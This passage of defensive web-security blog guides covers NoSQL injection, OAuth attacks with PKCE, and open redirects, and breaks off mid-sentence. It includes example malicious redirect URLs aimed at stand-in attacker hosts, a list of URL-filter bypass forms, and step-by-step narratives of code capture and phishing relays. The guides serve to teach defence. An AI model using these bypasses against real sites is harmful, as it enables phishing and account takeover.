The fourth misconception is that validation and parameterization are the same control. Parameterization keeps input as data through the driver. Validation confirms the input is the type and shape expected. They reinforce each other, and relying on validation alone leaves gaps wherever a shape slips through, while relying on binding alone misses inputs that were malformed before the query built. ## Frequently asked questions **What makes NoSQL injection possible?** Queries are assembled at runtime from data the user controls, and many drivers accept a rich object anywhere they accept a value. When a field that should be a string can arrive as an object carrying a query operator, the user input alters the query's logic instead of sitting inside it as a value. **What is operator injection?** It is the defining technique of NoSQL injection. Document query languages express logic through operators such as comparison, negation, and regular-expression match. Operator injection smuggles one of those operators into a place the developer meant to hold a plain value, which changes what the query means. **How does the authentication bypass work?** The attacker sends the password field as an object carrying a match-anything comparison, so the query asks for a user whose password satisfies a condition every stored password meets. The database returns a matching user, the handler treats that as valid credentials, and a session is granted with no password known. **Is NoSQL injection less dangerous than SQL injection?** No. It reaches authentication bypass, unauthorized data reads, and blind extraction just as SQL injection does, and in query languages that evaluate code it reaches server-side code execution, which is the most severe outcome on the ladder. The impact is comparable, and the payloads simply look different. **Why does character filtering fail against it?** Operator-injection payloads are often well-formed objects with no quotes, semicolons, or comment markers, so filters built for SQL metacharacters see nothing to block. Encodings differ, operator names vary by database, and the parsing layer may reconstruct a blocked structure after a filter runs. Positive type validation is the control that holds. **How do I stop it?** Keep user input as typed data and out of query structure. Parameterize through the driver, pin every input to its expected primitive type at the boundary, avoid spreading whole request bodies into queries, disable server-side code evaluation, constrain regular-expression inputs, and apply least privilege to the database account. **Does using an object-mapping library protect me?** An object-document mapper that enforces a strict schema helps, because it can reject fields that arrive with the wrong type before they reach a query. It is not automatic protection. Loosely typed schemas, raw query passthroughs, and copying request bodies into query objects can each reintroduce the path, so the typing has to be strict and the raw escapes avoided. NoSQL injection is proof that injection was never about SQL. It was about mixing untrusted input with query logic. Keep input strictly typed at the edge, bind it as data through the driver, switch off code-evaluating query features, and the document database is no more injectable than a well-parameterized relational one. Cross-reference the live exploitation view in our Exploit Intelligence dashboard to see how injection flaws in public apps move from disclosure to active use. ## Related guides - [SQL Injection Explained](/sql-injection-explained) - [API Abuse Explained](/api-abuse-explained) - [Input Validation Guide](/input-validation-guide) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP: Testing for NoSQL Injection (OWASP): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection - OWASP Top 10: A03 Injection (OWASP): https://owasp.org/Top10/A03_2021-Injection/ - MITRE ATT&CK: Exploit Public-Facing Application (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/ --- ## OAuth Attacks: redirect_uri Manipulation, Codes & CSRF > How OAuth 2.0 attacks work: redirect_uri manipulation, stolen authorization codes, CSRF on the login flow, and how PKCE defends it. - URL: https://blog.pwnsy.com/oauth-attacks-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: oauth, web-security, authentication, api-security, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - OAuth 2.0 hands out access by passing an authorization code through the user's browser, and most OAuth attacks target the moment that code changes hands. - A loose redirect_uri lets an attacker redirect the code to a site they control, turning an account link into an account takeover. - Without a state parameter the flow is open to CSRF, letting an attacker graft their own session onto the victim's account or the reverse. - PKCE binds the authorization code to the client that started the flow, which neutralizes stolen-code and interception attacks. ### Key Takeaways - The authorization server must match redirect_uri against a registered value exactly, with no wildcard, prefix, or substring shortcuts. - Always send and verify a state parameter so the callback can be tied back to the request that began it. - PKCE should be used on every OAuth client, public and confidential, because it defends the code exchange without a shared secret. - Authorization codes must be single-use and short-lived, and the token endpoint must reject a code that has already been redeemed. - Treat the redirect back to your app as attacker-influenced, and validate every parameter before acting on it. OAuth 2.0 is the machinery behind "Sign in with" buttons and the delegated access that lets one app act on your behalf in another. It is everywhere, and its security depends on a short sequence of redirects going exactly right. When any step is loose, the same flow that grants access to the rightful user can be steered to grant it to an attacker. This guide covers the OAuth attacks that show up most often in real assessments: redirect_uri manipulation, stolen authorization codes, and cross-site request forgery on the flow itself. Each one exploits a specific gap, and each has a specific fix. For the mechanics of the flow from the start, see [OAuth 2.0 Explained](/oauth-2-explained). ## The flow in one paragraph In the authorization code flow, your app sends the user to the authorization server with a `client_id`, a `redirect_uri`, and a `state`. The user logs in and approves. The authorization server redirects the browser back to the `redirect_uri` carrying a short-lived authorization `code`. Your app's backend then exchanges that code, plus its client credentials, at the token endpoint for an access token. The code travels through the user's browser. The token does not. Everything below is about what can go wrong with that code in transit. ## redirect_uri manipulation The `redirect_uri` tells the authorization server where to send the code. If the server does not match it strictly against a pre-registered value, an attacker can point it somewhere they control. Suppose the legitimate callback is `https://app.example/callback`. If the authorization server accepts anything on the domain, or matches only a prefix, an attacker can craft a request with a `redirect_uri` such as `https://app.example.attacker.com/callback` or `https://app.example/callback/../../evil`. The victim logs in normally, and the authorization server dutifully sends the code to the attacker's endpoint. The attacker then exchanges it and lands inside the victim's linked account. Common weaknesses that enable this: - Wildcard or subdomain matching on the registered redirect. - Prefix matching, where the check only confirms the URL starts with an allowed value. - Open redirects on the legitimate domain, where an allowed callback bounces the code onward to an attacker. See [Open Redirect Explained](/open-redirect-explained) for how that chain forms. - Accepting extra path segments, fragments, or query parameters that change the effective destination. The defense is unglamorous and absolute: exact string matching against a registered `redirect_uri`, no wildcards, no prefixes, no normalization surprises. The single most common OAuth flaw is a permissive redirect_uri check. If the authorization server allows any wildcard, subdomain, or partial match, an attacker can capture authorization codes for real users. Register the full callback URLs and compare them byte for byte. ## Stolen authorization codes Even with a correct redirect, the authorization code is a bearer of access while it lives. Anyone who obtains a valid, unused code can attempt to redeem it. Codes leak through several channels: - **Referrer headers**, if the callback page loads external resources and the code is in the URL. - **Browser history and logs**, proxies, and any intermediary that records full URLs. - **Open redirects and injection** on the callback page that expose the query string. - **A malicious app** on the same device intercepting a redirect to a custom URL scheme, the classic mobile problem. Two rules limit the value of a stolen code. First, codes must be single-use: the token endpoint redeems a code once and refuses it forever after, so a race between attacker and victim ends the moment either redeems it. Second, codes must be short-lived, giving an attacker a narrow window. Neither rule prevents interception on its own, which is what PKCE is for. ## CSRF on the OAuth flow Cross-site request forgery against OAuth comes in two shapes, and both are prevented by the `state` parameter. In the first, an attacker starts their own OAuth flow, obtains a valid authorization code for their account, and then tricks the victim's browser into completing the callback with that code. If the app has no `state` check, the victim's session gets linked to the attacker's account. Anything the victim then saves, a payment method, private notes, uploaded files, lands in an account the attacker controls. In the second, the attacker forces the victim through the attacker's login, quietly connecting the victim's session to the attacker's identity at the provider. The `state` parameter closes both. Your app generates an unguessable value, ties it to the user's session, sends it in the authorization request, and verifies on the callback that the returned `state` matches. A forged callback carries no valid `state`, so it is rejected. This is the same anti-CSRF pattern used elsewhere on the web, applied to the login handshake. ## Leaking tokens through the front channel The authorization code flow keeps tokens off the browser by exchanging the code on the backend. An older pattern, the implicit flow, skipped that step and returned the access token directly in the redirect URL fragment. That put the token everywhere a URL goes: browser history, referrer headers, server logs, and any script on the callback page. The implicit flow is now discouraged for exactly this reason, and new clients should use the authorization code flow with PKCE instead. The general lesson holds beyond implicit flow. Any time a token or code lands in a URL, treat it as exposed. Keep the response type set to `code`, complete the exchange server-side, and make sure the callback page does not load third-party scripts or resources while sensitive values sit in the address bar. ## Account pre-linking and scope abuse Two more moves are worth knowing. In a pre-account-linking attack, an attacker connects their own social login to a target account before the victim ever does, so when the victim later signs in through that provider they land in an account the attacker already controls. Requiring a fresh, authenticated confirmation before linking a new identity provider closes this. Scope abuse is the other. If your app requests broad scopes it does not need, a stolen token grants the attacker more than the feature ever required. Request the narrowest scopes that make the feature work, and have your resource server enforce that a token is only accepted for the scopes it was actually granted. ## PKCE: binding the code to its client Proof Key for Code Exchange, defined in RFC 7636, was designed for mobile and single-page apps that cannot keep a client secret, and it is now recommended for every OAuth client. The mechanism is simple. Before starting the flow, the client generates a random `code_verifier` and sends a hashed version, the `code_challenge`, in the authorization request. When it later exchanges the code at the token endpoint, it must present the original `code_verifier`. The authorization server hashes it and confirms it matches the challenge from the start of the flow. A stolen code is useless to an attacker who does not also hold the matching verifier, which never left the legitimate client. PKCE is what turns code interception from a working attack into a dead end. It does not replace strict redirect matching or `state`; it layers on top of them. ## Attack summary | Attack | Where it strikes | Root cause | Primary defense | |---|---|---|---| | redirect_uri manipulation | Authorization request | Loose redirect matching | Exact-match registered URIs | | Stolen authorization code | Code in transit | Code leaks, replayable code | Single-use short-lived codes, PKCE | | CSRF on the flow | The callback | Missing state binding | Unguessable state, verified on return | | Code interception | Mobile or SPA redirect | No client-to-code binding | PKCE on every client | Stealing and replaying these access tokens maps to [Steal Application Access Token (T1528)](https://attack.mitre.org/techniques/T1528/) on MITRE ATT&CK. ## A redirect_uri capture, step by step It helps to trace a single attack from start to finish, because the individual weaknesses only become dangerous when they chain. Picture an app whose real callback is `https://app.example/callback`, registered with a provider that matches redirect values by prefix rather than exactly. The attacker starts by reading the app's public authorization request. Anyone can see it, because it travels in the browser as a plain URL when a user clicks the sign-in button. From it the attacker learns the `client_id`, the `scope` list, and the shape of the `redirect_uri`. Nothing here is secret, and that is the point: the front channel of OAuth is designed to be visible. Next the attacker crafts a malicious authorization URL. It reuses the legitimate `client_id` and `scope`, but swaps the redirect to a value the loose matcher still accepts, for example `https://app.example.attacker.com/callback` if the check only confirms the string begins with `https://app.example`. The attacker delivers this URL to the victim through a phishing message, a malicious ad, or a link on a page the victim already trusts. The victim clicks. Because they are already logged in at the provider, or because they log in now, the provider sees a valid session and a `client_id` it recognizes. It generates an authorization code and redirects the browser to the attacker's chosen callback. The victim never sees a warning, because from the provider's view nothing is wrong: a known client asked for a code and got one. The code now lands on the attacker's server. If the app used no PKCE and holds a confidential client secret, the attacker cannot complete the exchange alone, but a code that reaches an attacker-controlled endpoint on a domain the app also serves can often be replayed into the app's own session. Where the client is public and there is no PKCE, the attacker exchanges the code directly and receives tokens scoped to the victim. Either way the strict controls were bypassed at a single point: the redirect match. Every link in that chain has a named fix. Exact redirect matching breaks step two. PKCE breaks the final exchange. A verified `state` breaks the forged callback variant. The attack works only when several of those are missing at once, which is why layered controls matter more than any single one. ## Detection signals Most OAuth abuse is quiet by design, because the attacker rides the legitimate flow. Detection therefore leans on the authorization server's logs and on watching for shapes that a normal client never produces. - **Authorization requests with unregistered or near-miss redirect values.** A request whose `redirect_uri` almost matches a registered callback, differing by a subdomain, an extra path segment, or a trailing parameter, is a strong signal of a redirect probe. Log every rejected redirect and alert when a known `client_id` starts sending unfamiliar ones. - **Codes redeemed from unexpected network locations.** An authorization code issued to one client and then exchanged from an IP range or autonomous system the client never uses points to interception. Correlate the address that received the code with the address that redeems it. - **Repeated single-use code failures.** A spike in token-endpoint rejections for already-redeemed codes can mean an attacker is racing a victim to redeem, or replaying captured codes. Treat a rise in second-redemption attempts as an active-abuse indicator. - **Callbacks arriving with absent or mismatched state.** If your application logs callbacks, a burst of requests carrying no `state`, or a `state` that does not tie to any live session, is the classic footprint of a CSRF attempt against the flow. - **Authorization requests for unusually broad scopes.** A client that normally asks for a narrow scope suddenly requesting everything can indicate a tampered or attacker-authored request. Teams often instrument the token endpoint and ignore the authorization endpoint, which is where redirect and state abuse first shows. Record every authorization request with its client_id, redirect_uri, scope, and state presence, and every redirect rejection. The earliest evidence of an OAuth attack is a rejected or near-miss redirect, long before any token is issued. ## Common mistakes and misconceptions A few beliefs recur and each one leaves a real gap. **"PKCE is only for mobile and single-page apps."** PKCE was born there because those clients cannot hold a secret, but the current guidance applies it to every client. A confidential web app still benefits, because PKCE defends the code exchange independently of the client secret and closes interception paths a secret alone does not. **"A client secret makes the flow safe, so redirect matching can be loose."** The secret protects the token exchange, and the redirect governs where the code is delivered. A loose redirect leaks the code to the attacker before the exchange ever happens, and in many real deployments the code alone is enough to hijack a session. The two controls defend different steps and neither substitutes for the other. **"state and PKCE do the same thing, so one is enough."** They solve different problems. The `state` parameter binds the callback to the browser session that started the flow, which defeats CSRF. PKCE binds the code to the client instance that requested it, which defeats interception. Dropping either one reopens the attack it was there to stop. **"The implicit flow is fine if the site uses HTTPS."** Transport encryption does not keep a token out of browser history, referrer headers, or scripts running on the callback page. The token lands in the URL fragment regardless of TLS. The authorization code flow with PKCE is the current recommendation for exactly this reason. **"Validating the redirect once at registration is enough."** Registration records the allowed values, but the authorization server must compare the incoming `redirect_uri` against them on every single request, as an exact string. A check that runs only at registration time and trusts the request thereafter is no check at all. ## The flows compared The grant type an app chooses decides how much front-channel exposure it carries. The table sets the common options side by side. | Flow | Token delivery | Front-channel exposure | Current standing | |---|---|---|---| | Authorization code with PKCE | Backend exchange, token never in browser | Only the short-lived code, bound by PKCE | Recommended for all clients | | Authorization code without PKCE | Backend exchange | Code exposed to interception | Acceptable only with a confidential client and exact redirect matching, PKCE still preferred | | Implicit | Token returned in URL fragment | Full token in the browser URL | Discouraged, replaced by code plus PKCE | | Resource owner password | App collects the provider password | App sees the raw password | Discouraged, defeats delegation | The trend across the table is toward keeping secrets off the browser and binding what does travel through it. Where an older flow exposed a token or a password to the front channel, the modern flow exposes only a code that PKCE renders useless to a thief. ## How OAuth security evolved The early OAuth 2.0 framework, RFC 6749, described several grant types and left many security choices to implementers. The implicit flow returned tokens straight to the browser, which suited the single-page apps of the time but scattered tokens through the front channel. The resource owner password grant let an app collect a user's provider password directly, which defeated the delegation the framework was meant to provide. Over the following years the guidance tightened as attacks accumulated in the field. PKCE arrived in RFC 7636 to protect public clients, then broadened into a recommendation for all clients. The OAuth 2.0 Security Best Current Practice consolidated the hard lessons: exact redirect matching, PKCE everywhere, no implicit flow, no password grant. OAuth 2.1, still consolidating at the time of writing, folds those practices into the baseline so that the safe path is the default rather than an add-on. The direction of travel is consistent: remove the flexible options that turned out to be footguns, and make the code-plus-PKCE flow the one obvious way to build. ## Frequently asked questions **Does PKCE replace the state parameter?** No. PKCE stops a stolen code from being exchanged by anyone but the original client, and `state` stops a forged callback from being accepted by the browser session. Use both. They cover different attacker moves and neither one covers the other's. **Is the authorization code secret?** Treat it as sensitive but short-lived. It is a bearer of access while it is unused and unexpired, so anyone who captures a live code can attempt to redeem it. Codes must be single-use and expire quickly, and PKCE ensures that even a captured code is useless without the matching verifier. **Can an attacker do damage with only a client_id?** The `client_id` is public and identifies the app, so knowing it is expected. On its own it grants nothing. The risk appears when the attacker combines a known `client_id` with a loose redirect or a missing PKCE check, which is why those server-side controls carry the weight. **Why is exact redirect matching preferred over allowlisting patterns?** Patterns invite mistakes. A wildcard, a prefix, or a normalization rule almost always admits a value the author did not intend, such as a subdomain an attacker can register or a path that traverses elsewhere. Exact string comparison against fully registered URLs removes the entire category of matching bugs. **Is OAuth the same as OpenID Connect?** They are related but distinct. OAuth 2.0 grants delegated access to resources. OpenID Connect is an identity layer built on top of OAuth that adds an ID token proving who the user is. The attacks here target the shared OAuth machinery, so they apply to OpenID Connect flows as well. **What is the single most impactful control?** Exact redirect matching combined with PKCE. Redirect matching keeps the code from being delivered to an attacker, and PKCE keeps a captured code from being exchanged. Those two together close the most common and most damaging paths. ## How to defend the OAuth flow 1. **Match redirect_uri exactly.** Register full callback URLs and compare them as exact strings. Drop wildcard, subdomain, and prefix matching entirely. 2. **Require PKCE for every client.** Public or confidential, PKCE binds the code to the client that started the flow and neutralizes interception. 3. **Send and verify state.** Generate an unguessable value per request, tie it to the session, and reject any callback whose state does not match. 4. **Make codes single-use and short-lived.** Redeem each code once, then reject it. Keep the lifetime to a minute or two. 5. **Keep tokens off the front channel.** Exchange the code for tokens on the backend so access tokens never appear in a browser URL or history. 6. **Fix open redirects on your domain.** An allowed callback that forwards a code to an arbitrary URL undoes the strict matching above. Authentication and authorization flaws are among the most exploited classes in modern breaches. Our Exploit Intelligence dashboard shows which vulnerability classes are under active exploitation, so you can prioritize the OAuth and identity fixes that matter now. OAuth security is a chain of small guarantees. Match the redirect exactly, bind the code with PKCE, verify the state, and burn the code after one use. Each control covers a different attacker move, and together they leave the authorization code with nowhere to be stolen and nothing to be replayed against. ## Related guides - [JWT Attacks Explained](/jwt-attacks-explained) - [OAuth 2.0 Explained](/oauth-2-explained) - [Open Redirect Explained](/open-redirect-explained) - [API Security Guide](/api-security-guide) ### Sources - PortSwigger Web Security Academy: OAuth 2.0 authentication vulnerabilities (PortSwigger): https://portswigger.net/web-security/oauth - RFC 6749: The OAuth 2.0 Authorization Framework (IETF): https://datatracker.ietf.org/doc/html/rfc6749 - RFC 7636: Proof Key for Code Exchange (PKCE) (IETF): https://datatracker.ietf.org/doc/html/rfc7636 --- ## Open Redirect: How Unvalidated Redirects Launder Phishing > How open redirects let attackers borrow your domain's trust to send victims to malicious sites, why filters fail, and how an allowlist stops it. - URL: https://blog.pwnsy.com/open-redirect-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: open-redirect, web-security, owasp, phishing, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained) ### TL;DR - An open redirect is a URL on your site that forwards the browser to any destination supplied in a parameter, without checking where it points. - Attackers use it to launder phishing links: the visible link starts with your trusted domain, and the redirect quietly delivers the victim to a malicious site. - The bug also amplifies other attacks, feeding OAuth token theft, filter bypasses, and credential-harvesting flows that rely on a trusted starting origin. - The fix is to never redirect to a raw user-supplied URL; map to an internal allowlist of known-good destinations and reject everything else. ### Key Takeaways - The trust an open redirect abuses is your domain's reputation, which is why users and email filters wave the link through. - Blocklist filters that check for your domain name in the parameter are routinely bypassed with subdomains, `@` tricks, encoding, and protocol-relative URLs. - Redirects to attacker origins are especially dangerous in OAuth and SSO flows, where they can leak authorization codes or tokens. - The robust control is an allowlist of relative paths or a fixed set of approved destinations, resolved server-side from an opaque key. - If external redirects are genuinely required, an interstitial warning page and strict URL parsing reduce, though do not eliminate, the risk. An open redirect looks harmless on its own. A URL on your site takes a parameter that says where to go next and sends the browser there. No data leaks, nothing is overwritten, the vulnerable page itself is never damaged. The value of the bug is entirely borrowed. What an attacker gets is your domain's good name printed at the front of a link that ends up somewhere hostile. Users and security filters both judge a link by its starting domain, which makes that worth a great deal. Open redirects rarely rank as the most severe finding in a report, and they are frequently dismissed. That dismissal is the reason they persist, and the reason phishing campaigns keep reaching for them. ## The core idea Applications legitimately redirect users all the time. After login, send them back to the page they came from. After an action, forward them to a confirmation. To remember the original destination, the app often stashes it in a URL parameter: ``` https://your-app.example/login?next=/dashboard ``` That is fine when `next` can only ever be an internal path. The vulnerability appears when the application takes whatever is in that parameter and redirects to it verbatim, including a full external URL: ``` https://your-app.example/login?next=https://evil.example/login ``` A victim who clicks sees a link that begins with `your-app.example`, a domain they trust and may have bookmarked. They land on `evil.example`, which has been built to look exactly like your login page. They type their password into it. The redirect did its job silently, and your domain supplied the credibility that made the lure convincing. ## Why this is a phishing multiplier Phishing succeeds or fails on whether the target believes the link. Two things judge a link before a human decides to click: - **The person**, who glances at the visible domain and reads it as safe because it is one they know. - **The email or messaging security filter**, which scores links partly on the reputation of the domain they point to. An open redirect on a reputable domain satisfies both. The human sees a familiar brand. The filter sees a request to a trusted, well-established site and lets it through, because the malicious destination is hidden in a parameter rather than in the visible host. The redirect is the sleight of hand that converts your reputation into cover for someone else's attack. Open redirects are often triaged as informational because the vulnerable page leaks nothing directly. Judge them by what they enable instead. A redirect on a bank, a government portal, or a widely trusted SaaS domain is a premium phishing asset, and it is exactly those high-trust domains where the bug does the most damage. ## Beyond phishing The trust an open redirect provides feeds other attacks: - **OAuth and SSO token theft.** Authorization flows send tokens or codes to a redirect URI. If the redirect target can be steered to an attacker origin, those secrets can leak. This is why OAuth specifications insist on strict, pre-registered redirect URIs. - **Filter and control bypass.** Server-side checks that allow requests to your own domain can be tricked when your domain then bounces the request onward, chaining an open redirect into requests the filter meant to block. - **Two-stage credential flows.** An attacker can pass through your legitimate login, then use the redirect to hand the now-authenticated user to a page that harvests a second factor or a session. ## Where open redirects hide | Location | Typical parameter role | |---|---| | Login and logout flows | Remembering where to return the user after auth | | OAuth and SSO callbacks | Carrying the post-authorization destination | | Marketing and tracking links | Bouncing through a redirector to log the click | | Language or region switchers | Returning the user to their prior page | | Legacy `redirect`, `url`, `return`, `next`, `dest` params | Generic "go here next" handlers | DOM-based open redirects are a related class, where client-side JavaScript reads a value from the URL or fragment and assigns it to `location`, moving the same flaw into the browser. ## Why filtering the URL fails The tempting fix is to check that the destination "contains your domain" or "starts with your domain." Attackers have a long list of ways past this: - **Subdomain and lookalike tricks**, where `your-app.example.evil.example` or `your-app-example.evil.example` contains your brand as a substring but is not your site. - **The `@` credential syntax**, where `https://your-app.example@evil.example/` is parsed by the browser as a request to `evil.example` with `your-app.example` treated as a username. - **Protocol-relative URLs** like `//evil.example`, which the browser resolves to an external site while passing a naive "does not start with http" check. - **Encoding and obfuscation**, including URL-encoded characters, backslashes, and mixed forms that your validator normalizes differently from the browser. Every one of these exploits a gap between how your check reads the string and how the browser interprets it. Blocklists lose this race by design. ## How to defend against open redirects The controls that hold up remove the attacker's ability to name an arbitrary destination. 1. **Do not redirect to user-supplied URLs at all where you can avoid it.** Most "return here" needs can be met by redirecting only to internal, relative paths and rejecting anything that looks like an absolute URL or a protocol-relative one. 2. **Use an allowlist resolved from an opaque key.** Instead of accepting a destination, accept a short identifier and look up the real URL server-side from a fixed table of approved destinations. The attacker never controls the URL, only which approved entry is chosen. 3. **Validate that internal redirects stay internal.** If you accept a path, confirm it begins with a single `/` and not `//` or `/\`, and reject anything containing a scheme or host. Parse with a real URL parser, then check the resulting host against your own, rather than string-matching the raw input. 4. **Lock down OAuth redirect URIs.** Pre-register exact redirect URIs and match them strictly, including path, with no wildcard host segments. 5. **Show an interstitial for unavoidable external redirects.** Where a redirector genuinely must reach third-party URLs, route through a page that displays the full destination and requires a deliberate click, breaking the silent hand-off phishing relies on. 6. **Sanitize DOM sinks.** In client-side code, never assign a URL read from `location`, the query string, or the fragment directly to `location` or `window.open` without the same allowlist check. Never decide a redirect is safe by searching the raw parameter for your domain name. Parse the value with a proper URL parser, read the resolved host, and compare that host to your allowlist. The vulnerability lives precisely in the gap between naive string matching and how the browser actually resolves the address. ## A worked example of the phishing relay Follow a single lure from craft to compromise to see why the redirect is the load-bearing part. An attacker wants credentials for users of a trusted service. They find that the service's login flow accepts a `next` parameter and redirects to whatever it contains after authentication, including full external URLs. They register a lookalike domain and build a copy of the login page there. Then they construct the lure link so that it begins with the trusted service's own domain, carries the login path, and places their lookalike URL in the `next` parameter. The visible start of the link is the real, trusted brand. They send this link in an email styled as a routine notice from the service. The recipient glances at the link, sees the familiar domain at the front, and trusts it. The organization's email security gateway scores the link partly on the reputation of the host it points at, sees a well-established, trusted domain, and delivers the message. Both the human and the filter judged the link by its starting domain, and both were satisfied. The victim clicks. Their browser goes to the trusted service, which processes the request and then honors the `next` parameter by redirecting the browser onward to the attacker's lookalike page. The address bar may flash the trusted domain before landing on the copy. The victim, having started at a domain they trust, sees a login page that matches what they expect and enters their password. The credentials go to the attacker. The trusted service was never compromised. It contributed only one thing: the redirect that let the attacker begin the journey under a trusted name. Remove the redirect and the lure has to start on the attacker's own unknown domain, where both the human and the filter are far more likely to reject it. Nothing about the vulnerable page is damaged, and no data leaks from it directly. Its entire contribution to the attack is lending its reputation to the front of a link. That is why open redirects are dangerous in proportion to how trusted the hosting domain is, and why a redirect on a bank, a government portal, or a widely used platform is worth far more to an attacker than the low severity score usually assigned to it. ## The bypass techniques in detail The reason blocklist-style validation fails is worth understanding precisely, because each bypass exploits a difference between how a naive check reads a string and how a browser resolves an address. Consider a check that tries to confirm the destination belongs to `your-app.example`. - **Substring and lookalike hosts.** A check that asks whether the destination contains the string `your-app.example` passes `https://your-app.example.evil.example/`, where the real registrable domain is `evil.example` and the brand is merely a subdomain label. It also passes `https://your-app-example.evil.example/`, where the brand appears with a hyphen. The browser resolves both to the attacker's site. - **The credential syntax.** A URL of the form `https://your-app.example@evil.example/` is parsed by the browser with everything before the at-sign treated as a userinfo component and `evil.example` as the actual host. A check that looks for the brand near the start of the string is fooled, because the brand really is near the start, just in the wrong role. - **Protocol-relative URLs.** A value like `//evil.example/path` has no scheme. A browser resolves it against the current page's scheme and navigates to `evil.example`. A check that only rejects strings starting with `http` lets it through, because it does not start with `http`. - **Encoding and normalization gaps.** Percent-encoding, backslashes that some parsers treat as forward slashes, doubled slashes, and mixed-case schemes all create forms that a validator may normalize one way and the browser another. Wherever the two normalizations differ, a bypass lives in the gap. - **Whitelisted-prefix confusion.** A check that a value starts with an allowed path such as `/redirect` can be defeated by `/redirect/../..//evil.example` style tricks or by values that are paths to the check but resolve as network locations to the browser. The unifying point is that string inspection of a URL is not the same as parsing it. The only reliable approach is to parse the value with a real URL parser, read the resolved host, and compare that host to an allowlist, which is what the defenses below build on. ## Detection signals Open redirects can be found in code and watched for in traffic. - **Redirect responses whose destination came from input.** In code review and dynamic testing, the signature is a response that sets the browser's location to a value derived from a request parameter, cookie, or fragment without an allowlist check. Any handler that echoes a user-supplied URL into a location header deserves scrutiny. - **Generic redirect parameter names.** Parameters like `url`, `next`, `return`, `returnUrl`, `dest`, `redirect`, `continue`, and `r` are the usual carriers. Inventorying every place these appear and checking how each is validated finds most instances. - **Location headers pointing off-domain.** In traffic monitoring, redirect responses from your application that send users to external hosts are worth logging and reviewing, especially from authentication and callback endpoints that should only ever redirect internally. - **DOM sinks fed by the URL.** Client-side code that reads from the query string, the fragment, or the current location and assigns the value to the page location or opens a window with it is the DOM-based form. Static analysis for these sinks surfaces the browser-side variant. - **Spikes of outbound redirects to a new host.** A sudden rise in redirects steering users to a freshly seen external domain can indicate a live phishing campaign abusing an existing open redirect. ## How open redirect compares to related web flaws Open redirect is one of several weaknesses that abuse trust in a URL or a host, and separating them clarifies which fix applies. | Flaw | What the attacker controls | Who gets sent where | Primary impact | |---|---|---|---| | Open redirect (CWE-601) | The destination of a client redirect | The victim's browser, to an external site | Phishing credibility, token leakage in auth flows | | Server-side request forgery | The destination of a server-side request | The server, to an internal or chosen host | Access to internal services and metadata | | Host header injection | The host value the application trusts | The application's own generated links | Poisoned links, cache and password-reset abuse | | Cross-site scripting | Script that runs in the victim's page | The victim's browser executes attacker code | Session theft, full client-side compromise | The distinctions matter because the defenses do not transfer cleanly. An open redirect steers the victim's browser outward, so the fix is an allowlist of permitted destinations resolved server-side. Server-side request forgery steers the server, so the fix constrains where the server may connect, covered in [SSRF explained](/ssrf-explained). Host header injection abuses the host the application trusts when building its own URLs, addressed in [host header injection explained](/host-header-injection-explained). Grouping these as trust-abuse flaws is useful for reasoning about an application's attack surface, and keeping their fixes distinct is what actually closes each one. An open redirect chained into an authentication flow can also feed the others, for example by delivering a victim to a page that then attempts a cross-site attack, which is why closing the redirect removes a stepping stone as well as a standalone risk. ## Common mistakes - **Treating the finding as purely informational.** Because the vulnerable page leaks nothing directly, open redirects are often closed as low priority and left in place. Judged by what they enable, a redirect on a high-trust domain is a premium phishing asset, and the trust it borrows is exactly what makes the low severity score misleading. - **Blocklisting instead of allowlisting.** Trying to enumerate bad destinations, or to confirm the brand appears in the string, loses to the bypasses above. Allowlisting the small set of destinations you actually permit is the model that holds. - **Validating with string operations rather than a parser.** Checking prefixes and substrings reads the URL differently from the browser. Parsing and comparing the resolved host removes that gap. - **Forgetting the client side.** Server-side validation does nothing for a DOM-based redirect where JavaScript reads the fragment and assigns it to the location. The same allowlist discipline has to apply in the browser. - **Wildcarding OAuth redirect URIs.** Loosely matching pre-registered redirect URIs, especially with wildcard host segments, reintroduces the flaw in the exact place it does the most damage, by leaking authorization codes or tokens. ## How the problem evolved Open redirects have been recognized as a web weakness for a long time, cataloged as CWE-601 and covered by OWASP guidance on unvalidated redirects and forwards. Their prominence has tracked the rise of email and messaging security filters that score links by destination reputation. As those filters improved at blocking links to known-bad domains, attackers needed a way to launder their links through a trusted host, and open redirects on reputable domains became the tool for it. The technique also grew alongside federated login. OAuth and single sign-on flows carry secrets to a redirect URI, so a redirect that can be steered to an attacker origin turned from a phishing aid into a token-theft primitive, which is why the specifications insist on strictly pre-registered redirect URIs. The client-side variant emerged as applications moved logic into the browser, moving the same flaw into DOM sinks. The defensive consensus has settled on allowlists resolved from opaque keys and on parsing rather than string matching, because every attempt to filter destinations by inspecting the raw string has been outpaced by bypasses. ## Frequently asked questions **Is an open redirect really a serious vulnerability?** On its own it leaks nothing from the vulnerable page, which is why it is often rated low. Its seriousness comes from what it enables: laundering phishing links through a trusted domain and, in authentication flows, leaking tokens. On a high-trust domain it is a valuable attack asset. **Why does the trusted domain matter so much?** Both people and email filters judge a link partly by the domain at its start. A redirect on a reputable domain satisfies both, so the malicious destination hidden in a parameter passes checks that would stop a link pointing straight at the attacker. **Why not just check that the destination contains our domain?** Because a browser resolves a URL differently from a substring check. Subdomain tricks, the at-sign credential syntax, protocol-relative URLs, and encoding gaps all produce strings that contain your brand yet resolve to an attacker's host. Parse the URL and compare the resolved host instead. **What is the most robust fix?** Accept an opaque key rather than a URL, and look up the real destination server-side from a fixed table of approved targets. The attacker never controls the URL, only which approved entry is selected, so no bypass on the URL string is possible. **How is a DOM-based open redirect different?** It lives in client-side JavaScript that reads a value from the URL, query string, or fragment and assigns it to the browser location. The flaw is the 